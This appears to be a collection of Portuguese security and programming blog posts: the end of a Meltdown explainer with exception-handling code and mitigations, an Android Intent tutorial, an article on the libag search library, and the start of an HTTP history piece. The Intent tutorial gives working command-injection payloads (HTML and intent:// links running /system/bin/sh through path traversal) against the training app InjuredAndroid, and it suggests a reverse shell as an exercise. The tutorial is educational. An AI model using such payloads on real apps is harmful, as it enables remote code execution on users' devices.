    O Meltdown ocorre devido ao tempo de resposta que uma exeção leva até que a execução do processo seja suspensa, ou a exceção seja tratada. Nesse período, o programa continua a executar de forma fora de ordem e/ou especulativa, mesmo após a ocorrência de uma exceção. O meltdown ameaça a barreiras de segurança sendo capaz de ler memória de outros processos, kernel e até memória de outros usuários em ambientes virtualizados em nuvem.
    Mapeamento de memória
    O espaço de endereçamento de um processo em execução é dividido em várias seções, cada uma contendo um ou mais páginas. 
    Texto -  Estão presentes as instruções geradas a partir de funções, em resumo é o código do programa possui em geral permissões de leitura e execução; Data - Utilizada para variáveis globais já inicializadas; BSS - Contem as variáveis globais não inicializadas que são portanto criadas com o valor 0; Heap - Armazena as variáveis criadas dinamicamente, como a heap possui tamanho dinâmico; Stack - Guarda as variáveis de escopo local, como variáveis de funções, bem como endereços de retornos. Data, heap, BSS e stack possuem geralmente permissão de leitura e escrita; Kernel - O kernel é mapeado em todos os processos em execução. Páginas de kernel possuem um bit indicando que não são acessíveis em modo usuário, portanto um acesso a essa região provoca um segfault.
    Embora seja um pouco contraintuitivo, o kernel é mapeado como área do processo por uma questão de performance. Conforme foi visto anteriormente, durante toda troca de contexto é necessário limpar o TLB e ler novamente a tabela de paginação, o que leva tempo e traz um impacto negativo na performance, sobretudo se um programa realiza muitas chamadas de sistema operacional (diversas leituras de arquivo por exemplo), o que força a troca de contexto com maior frequência. Para reduzir esse efeito o kernel é mapeado no espaço de endereçamento virtual do processo, dessa forma não é necessário realizar o flush na TLB.
    Exceções e execução fora de ordem 
    No exemplo abaixo a primeira linha provoca uma exceção ao ler um endereço de memória que não possui permissão de leitura. Isso fará com que o programa seja terminado e portanto a segunda linha deveria ser incapaz de executar. Porém devido a forte característica de execução fora de ordem do processador, é possível que antes do controle ser passado ao Exception handler, as instruções subsequentes possam ser executadas provocando alteração de estado na micro arquitetura (ex cache), apesar de seus resultados nunca serem resgatados.
    raise_exception(); access(probe_array[data * 4096]);  

    Fluxo de execução após uma exceção. Extraido de Meltdown: Reading Kernel Memory from User Space
    Apesar de as instruções serem executadas de forma transiente, o programa ainda está destinado a terminar. Portanto é necessário ou tratar a excessão ou impedir que ela aconteça em primeiro lugar. 
    Tratamento de exceção
    O caso mais simples de tratameto de exceção é através da execução de um fork logo antes do acesso que gera o seg fault. Dessa forma o processo filho realiza a execução transiente, passando o segredo através de alterações do estado da cache para o processo pai.
    char readByte(unsigned char *addr){   volatile char tmp;   if(fork()){     readSideChannel();   }   else{     tmp = probe[(*addr)*4096];   } }
    O problema ao utilizar fork como tratamento de exceção é o custo de criar um novo processo para a tentativa de leitura de um byte. Uma alternativa mais performática seria utilizar a syscall sys_rt_sigaction para instalar um exception handler que permita a continuação do programa mesmo após a ocorrência de um segfault. No exemplo abaixo, o acesso ao endereço 0 é capturado pelo handler instalado no programa.`
     
    #include <stdio.h> #define __USE_GNU #include <ucontext.h> #include <signal.h> void segFaultHandler(int signum, siginfo_t* ignored, void* context) {   ((ucontext_t*)context)->uc_mcontext.gregs[REG_RIP]++;   printf("Exception captured\n"); } int main(){     struct sigaction sigstruct;     sigstruct.sa_handler = SIG_DFL ;     sigstruct.sa_sigaction = segFaultHandler;     sigstruct.sa_flags = SA_SIGINFO;     sigaction(SIGSEGV, &sigstruct, NULL);     int a =0;     int b = *(int *)a;     printf("finished execution\n"); } $./sig Exception captured Exception captured finished execution

    Supressão de exceção
    Uma outra alternativa para evitar a finalização do processo é impedir que a exceção seja provocada em primeiro lugar. Utilizando uma técnica muito semelhante a vista na variante 1 do spectre, é possível induzir a CPU a acessar especulativamente o endereço de kernel através de uma perdição incorreta, dessa forma a exceção nunca será gerada.
     
    //adaptação do Spectre v1 para Metldown com supressão de exceção if (x < array1_size)     y = array2[array1[kernel_offset] * 4096];
    Leitura de memória de outros processos
    Para que o kernel seja capaz de realizar operações como copy_from_user é conveniente que toda a memória física seja mapeada no espaço de endereçamento do kernel.

    Toda a memória física esta mapeada no kernel. A seção em azul está mapeada tanto acessivel no espaço do usuário quanto no kernel através de mapeamentp direto. Extraído de Meltdown: Reading Kernel Memory from User Space
    Portanto um ataque que seja capaz de ler memória do kernel, ao iterar pelo espaço de usuário do kernel eventualmente lê a memória dos demais processos em execução.
    Mitigações
    Devido a vulnerabilidade se encontrar no comportamento de execução fora de ordem do processador as mitigações não são triviais, embora sejam mais efetivas que o spectre, devido ao comportamento específico de ataque ao kernel do spectre.
    KASLR
    De forma semelhante ao Address Space Layout Randomization (ASLR) disponível para modo de usuário, o kernel possui o Kernel Address Space Layout Randomization e serve como mitigação para ataques de corrupção de memória. Embora o Meltdown não se baseia nessa classe de ataques, ao randomizar o endereço base do kernel, o processo de leitura é dificultado. Todavia outras classes de ataque são capazes de revelar esse endereço, como por exemplo colisões de Branch target buffers, conforme descrito por Jump over ASLR.
    KPTI
    Kernel Page Table Isolation opera em cima da quantidade de dados que pode ser extraida utilizando o ataque. Quando a mitigação é implementada o kernel passa a gerenciar dois conjuntos de páginas. A parte do kernel mapeada no espaço de endereçamento do usuário é restrita apenas a funcionalidade mínima necessária como executar syscalls e exceções. O segundo conjunto contém além das páginas do usuário todo o mapeamento da memória fisica e pode ser utilizado para operações como copy_from_user. Caso seja necessário, o kernel deve trocar de espaço de endereçamento para o conjunto contendo o kernel completo.
    Bibliografia
    Flush + Reload https://eprint.iacr.org/2013/448.pdf
    Spectre https://spectreattack.com/spectre.pdf
    MDS attacks https://mdsattacks.com/
    Meltdown https://meltdownattack.com/meltdown.pdf
    RSA power analys https://www.youtube.com/watch?v=bFfyROX7V0s
    Linux memory management https://jasoncc.github.io/kernel/jasonc-mm-x86.html
    Sigaction https://man7.org/linux/man-pages/man2/sigaction.2.html
    Tabela de paginação https://www.kernel.org/doc/gorman/html/understand/understand006.html
    Jump over ASLR http://www.eecs.umich.edu/courses/eecs573/slides/38 - Secure and Bug-Free Systems.pdf
    PTI https://www.kernel.org/doc/html/latest/x86/pti.html
    rhme CTF https://github.com/Riscure/Rhme-2016
    Algumas provas de conceito https://github.com/Jos3Luiz/hackeando-cpus
    Computer Organization and Design RISC-V edition

    caioluders
    Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível.
    Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile.
    intent://
    Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação:
    Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante.
    <intent-filter>
    Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml.
    Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml
    <activity     android:name=".RCEActivity"     android:label="@string/title_activity_rce"     android:theme="@style/AppTheme.NoActionBar">     <intent-filter android:label="filter_view_flag11">         <action android:name="android.intent.action.VIEW" />         <category android:name="android.intent.category.DEFAULT" />         <category android:name="android.intent.category.BROWSABLE" />         <!-- Accepts URIs that begin with "flag13://” -->         <data             android:host="rce"             android:scheme="flag13" />     </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW.
    O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE.
    A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas.

    flag13://rce
    Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️
    Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity:
    49 if (intent != null && intent.data != null) { 50     copyAssets() 51     val data = intent.data 52     try { 53         val intentParam = data!!.getQueryParameter("binary") 54         val binaryParam = data.getQueryParameter("param") 55         val combinedParam = data.getQueryParameter("combined") 56         if (combinedParam != null) { 57             childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58                 override fun onDataChange(dataSnapshot: DataSnapshot) { 59                     val value = dataSnapshot.value as String? 60                     if (combinedParam == value) { 61                         FlagsOverview.flagThirteenButtonColor = true 62                         val secure = SecureSharedPrefs() 63                         secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64                         correctFlag() 65                     } else { 66                         Toast.makeText(this@RCEActivity, "Try again! :D", 67                                 Toast.LENGTH_SHORT).show() 68                     } 69                 } 70 71                 override fun onCancelled(databaseError: DatabaseError) { 72                     Log.e(TAG, "onCancelled", databaseError.toException()) 73                 } 74             }) 75         } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else:
    76 else { 77 78     val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79     val bufferedReader = BufferedReader( 80             InputStreamReader(process.inputStream)) 81     val log = StringBuilder() 82     bufferedReader.forEachLine { 83         log.append(it) 84     } 85     process.waitFor() 86     val tv = findViewById<TextView>(R.id.RCEView) 87     tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈
    Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos.
    Nossa PoC terá os seguintes passos :
    Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim:
    <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉
    S.Intent_Extras
    Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra.
    Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim :
    <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary.
    Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho:
    if      (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end
    Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor.
    Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês.
    Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa.
    |-|4ck th3 |>l4n3t 
    @caioluders

    Theldus
    Introdução
    Há poucas semanas, um amigo comentou que estava buscando automatizar um processo que envolvia buscas por expressões regulares em arquivos binários. Essa tarefa normalmente é realizada com ferramentas de linha de comando específicas (grep, git-grep, ack-grep, ag, ripgrep, ugrep, entre outras), e um script pode invocá-las e fazer o parsing do output. A ripgrep em particular oferece resultados em JSON, o que facilita bastante o processo.
    Apesar disso, chamar um processo externo e intepretar a saída não é a maneira ideal de incorporar uma funcionalidade em um programa, sendo a mais correta o uso de uma biblioteca, mas surpreendi-me ao perceber que não havia nenhuma que cumprisse tal propósito.
    E assim nasceu a libag, um fork da ferramenta ag com o objetivo de transformá-la em uma biblioteca para facilitar a incorporação, em outros programas, do recurso de busca avançada no conteúdo de arquivos.
    Uso e recursos
    A libag requer as mesmas dependências do ag: liblzma, libpcre e zlib.
    No Ubuntu (e possivelmente em outras distribuições Debian-like):
    $ sudo apt install libpcre3-dev zlib1g-dev liblzma-dev Uma vez resolvidas as dependências o processo de build é bastante simples.
    Basta clonar o repositório:
    $ git clone https://github.com/Theldus/libag $ cd libag/ e compilar:
    Makefile
    $ make -j4 $ make install # Opcional CMake
    $ mkdir build && cd build/ $ cmake .. -DCMAKE_BUILD_TYPE=Release $ make -j4 O uso da biblioteca é bastante simples e consiste no uso de três funções básicas: ag_init(), ag_search() e ag_finish() (embora funções mais avançadas também estejam disponíveis).
    Um exemplo mínimo e completo segue abaixo:
    #include <libag.h> int main(void) { struct ag_result **results; size_t nresults; char *query = "foo"; char *paths[1] = {"."}; /* Initiate Ag library with default options. */ ag_init(); /* Searches for foo in the current path. */ results = ag_search(query, 1, paths, &nresults); if (!results) { printf("No result found\n"); return (1); } printf("%zu results found\\n", nresults); /* Show them on the screen, if any. */ for (size_t i = 0; i < nresults; i++) { for (size_t j = 0; j < results[i]->nmatches; j++) { printf("file: %s, match: %s\n", results[i]->file, results[i]->matches[j]->match); } } /* Free all results. */ ag_free_all_results(results, nresults); /* Release Ag resources. */ ag_finish(); return 0; } Uma vez que a libag possui bindings para Python e Node.js, seguem os mesmos exemplos abaixo:
    Python:
    from libag import * # Initiate Ag library with default options. ag_init() # Search. nresults, results = ag_search("foo", ["."]) if nresults == 0: print("no result found") else: print("{} results found".format(nresults)) # Show them on the screen, if any. for file in results: for match in file.matches: print("file: {}, match: {}, start: {} / end: {}". format(file.file, match.match, match.byte_start, match.byte_end)) # Free all resources. if nresults: ag_free_all_results(results) # Release Ag resources. ag_finish() Node.js (sujeito a alterações):
    const libag = require('./build/Release/libag_wrapper'); libag.ag_init(); r = libag.ag_search("foo", ["."]); r.results.forEach((file, i) => { file.matches.forEach((match, j) => { console.log( "File: " + file.file + ", match: " + match.match + ", start: " + match.byte_start + " / end: " + match.byte_end ); }); }); libag.ag_finish(); Uso "avançado" e pesquisa em arquivos binários
    O uso básico é como ilustrado acima e representa também as opções padrões do ag. Entretanto, a libag permite um controle fino sobre as opções de busca e também sobre as worker threads.
    As opções podem ser tunadas a partir da estrutura struct ag_config, que contém uma série de inteiros que representam diretamente o recurso desejado. Opções como num_workers e search_binary_files definem a quantidade de worker threads e habilitam a busca em arquivos binários, respectivamente.
    Um exemplo mais interessante segue abaixo, vamos localizar arquivos ELF e PE32 que também contenham meu nome de usuário neles:
    from libag import * pattern = "david"; elf_signature = "^\x7f\x45\x4c\x46"; pe_signature = "^\x4d\x5a"; signatures = elf_signature + "|" + pe_signature; # Enable binary files search config = ag_config() config.search_binary_files = 1 # Initiate Ag library with custom options. ag_init_config(config) # Search. nresults, results = ag_search(signatures, ["dir/"]) if nresults == 0: print("no result found") sys.exit(1) print("{} pe+elf found".format(nresults)) for file in results: print("file: {}".format(file.file)) pe_elf = [] # Add to our list for file in results: pe_elf.append(file.file); ag_free_all_results(results) # Search again looking for pattern nresults, results = ag_search(pattern, pe_elf) if nresults == 0: print("no result found") sys.exit(1) # Show them print("{} binaries found that matches {}".format(nresults, pattern)) for file in results: for match in file.matches: print("file: {}, match: {}, start: {} / end: {}". format(file.file, match.match, match.byte_start, match.byte_end)) # Free all resources. ag_free_all_results(results) # Release Ag resources. ag_finish() A pasta dir/ contém um arquivo ELF, um PE32+, um plaintext e uma imagem .png. Note que o range informado pode ser verificado com dd+hexdump, como segue abaixo:
    $ file dir/* dir/hello: PE32+ executable (console) x86-64, for MS Windows dir/img.png: PNG image data, 1247 x 711, 8-bit/color RGB, non-interlaced dir/libag.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, with debug_info, not stripped dir/random.txt: ASCII text $ ./elf_pe.py 2 pe+elf found file: dir/libag.so file: dir/hello 1 binaries found that matches david file: dir/libag.so, match: david, start: 90094 / end: 90098 $ dd if=dir/libag.so bs=1 skip=90094 count=5 | hexdump -C 5+0 records in 5+0 records out 5 bytes copied, 2.1437e-05 s, 233 kB/s 00000000 64 61 76 69 64 |david| 00000005 É claro que o exemplo acima é bastante simplório e serve apenas para ilustrar possíveis casos de uso da biblioteca.
    O processo de "libificação"
    A escolha do fork do ag foi bem natural: eu já tinha alguma familiaridade com o código fonte do ag e eu já havia brincado com ele alguns meses atrás. Além disso, o código do ag não é tão grande e eu sou um programador C em 99.9% do meu tempo, o que elimina alternativas como ripgrep (Rust) e ugrep (C++).
    O processo de "libificação" não foi tão complicado: primeiro eu extraí apenas o código fonte do projeto e escrevi meus próprios/novos scripts de build por cima (Makefile e CMake). Depois disso, foi investigar o processo de search original do ag e trazer isso para a minha biblioteca.
    De forma resumida, o ag original pode ser divido em três grandes etapas:
    Inicialização Configura o log_level (para propósitos de debug); Inicializa as estruturas de .gitignore (o ag é capaz de ignorar esse tipo de arquivo); Inicializa as opções default da linha de comando; Realiza o parsing das opções de linha de comando; Compila a regex via PCRE; Inicializa os mutexes e as worker threads. Busca O processo de busca e path traversal é realizado por uma única thread, que a partir da lista de paths recuperados via linha de comando invoca a rotina search_dir(), que para cada novo path encontrado o adiciona em uma "work_queue_t" e acorda todas as worker threads (se estiverem dormindo) para recuperar mais trabalhos.
    O processo de sincronização é feito via mutexes, mas em defesa do maintainer original do ag, um profiling no Intel VTune mostra que o tempo de hold de cada thread é mínímo, o que realmente torna o ag (e libag) escalável com o aumento da quantidade de cores.
    Resultados Uma vez que uma worker thread (WT) obtém um novo "job", ela então começa a leitura do arquivo: seja via mmap (padrão) ou todo o arquivo de uma só vez. Para buscas de texto literal, a "WT" utiliza os algoritmos de BoyerMoore e de hash para identificação da string. Em caso de expressão regular, utiliza-se a biblioteca PCRE. A decisão dos algoritmos é feita automaticamente, para maior desempenho.
    À medida que novos resultados são encontrados (para um único arquivo), eles são adicionados em uma lista de matches, definida pelo tipo match_t e ao finalizar a leitura do arquivo os resultados encontrados são impressos na tela, protegidos por um mutex.
    Salvando os resultados
    Uma vez obtidos os resultados, entra então a maior "incisão" da libag: interferir no processo de dump dos resultados e salvá-los de forma estruturada e facilmente recuperável posteriormente.
    Para isso, foi introduzido um vetor de resultados (dinâmico) por WT, que armazena os dados obtidos até o momento. Além disso, a rotina principal das worker threads (search_file_worker()) foi levemente modificada para notificar do término das threads e também permitir facilmente manipular o "start/stop" delas sob demanda.
    Uma vez que toda a work queue foi preenchida e processada, a rotina de search (da biblioteca) pode resumir sua execução, fazendo o join dos resultados parciais das threads e retornando um "struct ag_search**", que contém uma lista de resultados por arquivo, a string do match, flags e byte de início e fim da ocorrência, algo como:
    /** * Structure that holds a single result, i.e: a file * that may contains multiples matches. */ struct ag_result { char *file; size_t nmatches; struct ag_match { size_t byte_start; size_t byte_end; char *match; } **matches; int flags; }; Bindings
    Para facilitar a utilização da libag, o projeto também possui bindings experimentais para Python 2/3 e também Node.js (em desenvolvimento). 
    Python
    Os bindings para Python foram escritos utilizando o SWIG: um programa que, dado um arquivo de interface, é capaz de gerar um "glue-code" que, quando compilado em conjunto com o código original, funciona como um wrapper/binding para a linguagem em questão.
    O SWIG gera código compilável para CPython e os tipos não-primitivos (como as duas estruturas introduzidas pela biblioteca) são mapeados via "type-maps".
    Node.js
    Embora o SWIG suporte Node.js, ele parece utilizar diretamente a API da v8 engine, que está sempre em constante mudanças, e portanto, o código gerado não compila na última versão estável (v14.17.1 LTS) do Node.
    Para contornar isso, os bindings para Node.js foram escritos em cima da Node-API, uma API em C (também disponível em C++, com nome de node-addon-api) que oferece um conjunto mínimo de recursos em cima da v8 e que têm como objetivo manter a estabilidade de addons escritos mesmo entre versões distintas do Node e v8.
    Limitações
    Ao contrário de programas construídos em cima de uma biblioteca, como o cURL+ libcurl, ag (aparentemente) nunca foi idealizado como tal e portanto o código fonte impõe certas restrições ao adaptá-lo para uma biblioteca, das quais vale destacar:
    Apenas uma única configuração "global": não é possível (no momento) utilizar opções distintas de search para múltiplos searchs; Uma alternativa a isso é manter múltiplos "ag_config" e setá-los com ag_set_config() antes de cada busca. Esta limitação se deve ao ag utilizar uma única estrutura global para armazenar os parâmetros de linha de comando, estrutura essa utilizada em diversos pontos em todo o código fonte. Uma busca de cada vez: assim como no item anterior, o ag também usa diversas estruturas globais para manter o estado da busca durante um ag_search(), o que impossibilita de utilizar múltiplos searchs simultaneamente. Uma solução temporária foi adicionada com o uso da função ag_search_ts(), que internamente utiliza locks para serializar todas as chamadas a ag_search(). Dentre outros. Qualquer contribuição em pontos como esses e outros é muito bem vinda =).
    Conclusão
    Por fim, convido todos a conhecerem a página da libag no GitHub. Trata-se de um projeto de código aberto e, portanto, está aberto a contribuições. Espero que ele possa ser tão útil para mais pessoas quanto está sendo para os que já o utilizam!
    ~ Theldus signing off!

    Gabriel Bezerra
    Criado como o protocolo para transmissão de hipertextos na World Wide Web, o protocolo HTTP ganhou bastante popularidade desde sua criação entre 1989 e 1991. É através desse protocolo que navegadores se comunicam com servidores para obter todos os textos, código e mídia que compõem os websites que acessamos.
    Para além do seu uso na web, dado sua simplicidade e extensibilidade; a disponibilidade de ferramentas e implementações em diversas linguagens de programação; e o fato de ser liberado pela maior parte dos firewalls e filtros de rede, o protocolo foi adotado como base de diversos outros protocolos e de interfaces entre aplicações e serviços.
    Neste artigo, exploraremos a história do protocolo, sua estrutura e funcionamento. Com esse conhecimento, poderemos entender melhor suas extensões e aplicações.
    História
    O protocolo HTTP (HyperText Transfer Protocol, ou "protocolo de transferência de hipertexto" em tradução livre) foi criado por Tim Berners-Lee e seu time, em 1989, como parte de sua proposta para a World Wide Web. A proposta se baseava em hipertextos -- textos com referências a outros textos que podem ser acessadas imediatamente -- e possuia quatro elementos básicos:
    Uma linguagem para representação de documentos de hipertexto: HTML (HyperText Markup Language); Um protocolo para transmissão desses documentos: HTTP (HyperText Transfer Protocol); Um cliente para exibição desses documentos: o navegador ou browser; Um servidor para disponibilização desses documentos. HTTP 0.9
    A primeira versão do HTTP era bastante simples e possuia apenas uma funcionalidade: obter um documento. As requisições eram enviadas em conexões TCP/IP e tinham o formato:
    GET /pagina.html As repostas consistiam apenas do documento em si:
    <html>exemplo de página em html</html> Apenas documentos HTML podiam ser transmitidos. Também não havia códigos de retorno. Em caso de erro, uma página com uma descrição do erro era eviada a fim de ser entendida pelo usuário. Ao final da transmissão do documento, a conexão era encerrada. Essa versão foi documentada em 1991, sendo chamada de HTTP 0.9.
    Desde então, o protocolo começou a evoluir via experimentação. Entre 1991 e 1995, um servidor e um navegador adicionavam funcionalidades e aguardavam para ver se ela obtinha tração. Um esforço de padronização foi então iniciado.
    HTTP 1.0
    Em 1996, a versão 1.0 foi padronizada com a publicação do RFC 1945. As principais adições dessa versão foram:
    A informação de versão do protocolo foi adicionada à primeira linha da requisição, com o sufixo "HTTP/1.0"; Código de estado, ou código de retorno, foi adicionado à primeira linha da resposta, permitindo a sinalização de condições de erro; Cabeçalhos foram adicionados à todas as mensagens, permitindo extensões ao protocolo e transmissão de metadados. Por exemplo, o cabeçalho "Content-Type" viabilizou a transmissão de outros tipos de conteúdo além de documentos HTML. HTTP 1.1
    Em 1997, poucos meses após a padronização da versão 1.0, com a publicação do RFC 2068 definiu-se a versão 1.1 do protocolo, também chamada HTTP/1.1. Em 1999 foi publicado o RFC 2616, com atualizações e melhorias sobre o RFC 2068. Em 2014, uma série de RFCs foi publicada detalhando e esclarecendo o RFC 2616: RFC 7230, RFC 7231, RFC 7232, RFC 7233, RFC 7234 e RFC 7235.
    As principais mudanças da versão 1.1 foram:
    Reutilização de conexões para atendimento de diversas requisições, economizando recursos para a abertura das múltiplas conexões necessárias para obtenção dos vários documentos que compõem uma página; O cabeçalho "Host" torna-se obrigatório, permitindo que websites de múltiplos domínios sejam hospedados simultaneamente em um mesmo servidor; Pipelining, permitindo que diversas requisições fossem enviadas antes de as respostas serem recebidas: uma forma de diminuir o atraso para transmissão de documentos. Uma técnica não muito utilizada na prática; "Chunked Transfer Encoding" ("codificação de transferência seccionada", em tradução livre), mecanismos de controle de caches e mecanismos de negociação de conteúdo entre cliente e servidor. HTTP 2.0
    Em 2015, baseado principalmente na experiência obtida com o protocolo experimental SPDY da Google, foi publicado o RFC 7540, padronizando a versão 2.0 do protocolo, também conhecida como HTTP/2.
    As principais diferenças do HTTP/2 se comparado ao HTTP/1.1 são:
    É um protocolo binário em vez de textual; É um protocolo multiplexado, isto é, diversas requisições e suas respectivas respostas dividem uma mesma conexão TCP/IP paralelamente. Essa funcionalidade substitui o pipelining do HTTP/1.1; Compressão de cabeçalhos; Alimentação de caches dos clientes pelo servidor antes mesmo dos clientes Enviarem requisições para os respectivos recursos. HTTP 3.0
    No momento da escrita deste artigo, está em discussão a criação da versão 3 do HTTP. A principal modificação prevista para o HTTP/3 é o uso do protocolo de transporte QUIC no lugar de TCP como o protocolo de transporte para o HTTP.
    O foco das modificações nesta versão é desempenho. Por exemplo, tenta-se diminuir a quantidade de trocas de mensagens necessárias para o estabelecimento de conexões. O rascunho mais recente de sua especificação pode ser encontrado em draft-ietf-quic-http-34.
    Segurança em comunicações HTTP
    É importante notar que o protocolo HTTP, em todas as suas versões até então, não provê confidencialidade, integridade ou autenticidade das transmissões.
    Para obter essas propriedades de segurança, a Netscape Communications criou, em 1994, o HTTPS (HyperText Transfer Protocol Secure). Uma extensão ao HTTP em que, em vez de utilizar HTTP diretamente sobre uma conexão TCP/IP, a conexão TCP/IP é criptografada usando TLS (Transport Layer Security, "segurança de camada de transporte" em tradução livre), antigamente chamado de SSL (Secure Sockets Layer, "camada de sockets seguros" em tradução livre).
    O protocolo
    A sintaxe e a semântica do HTTP têm se mantido estável desde sua versão 1.1. As mudanças realizadas em versões posteriores ao HTTP/1.1 trataram-se principalmente de mudanças em relação à camada de transporte, e de extensões ao protocolo através da padronização de novos cabeçalhos.
    Por isso, cobriremos neste artigo a versão 1.1 do protocolo, considerando apenas sua estrutura básica. O conhecimento desta parte do protocolo poderá então ser usado para entender suas extensões e protocolos construídos com base nele.
    Modelo de comunicação
    O protocolo HTTP segue o modelo de cliente-servidor, em que o cliente abre uma conexão para o servidor, envia uma requisição e aguarda sua resposta.
    Ele é um protocolo de camada de aplicação e, apesar de ser classicamente implementado sobre TCP, funciona sobre qualquer protocolo de transporte que forneça entrega confiável de mensagens.
    Intermediários
    O HTTP é feito para que componentes intermediários na comunicação possam colaborar para a entrega de uma requisição e/ou de uma resposta. Os intermediários considerados na definição do protocolo são: proxies, gateways (ou reverse-proxies) e túneis.
    Proxies são intermediários escolhidos pelos clientes, normalmente via configuração local. Gateways são intermediários escolhidos pelo servidor, normalmente implementando caches ou balanceadores de carga. Tanto proxies como gateways podem alterar o conteúdo da comunicação HTTP. Túneis são intermediários que retransmitem mensagens entre duas conexões sem alterar seu conteúdo.
    URIs
    URIs (Uniform Resource Identifiers, "identificadores uniformes de recursos" em tradução livre), definidos pelo RFC 3986, são o meio usado para identificar recursos no HTTP. URIs são usados para direcionar requisições, indicar redirecionamentos e definir relacionamentos.
    Os "URI Scheme"s "http" e "https" são definidos pelo RFC 7230.
    Sessão HTTP
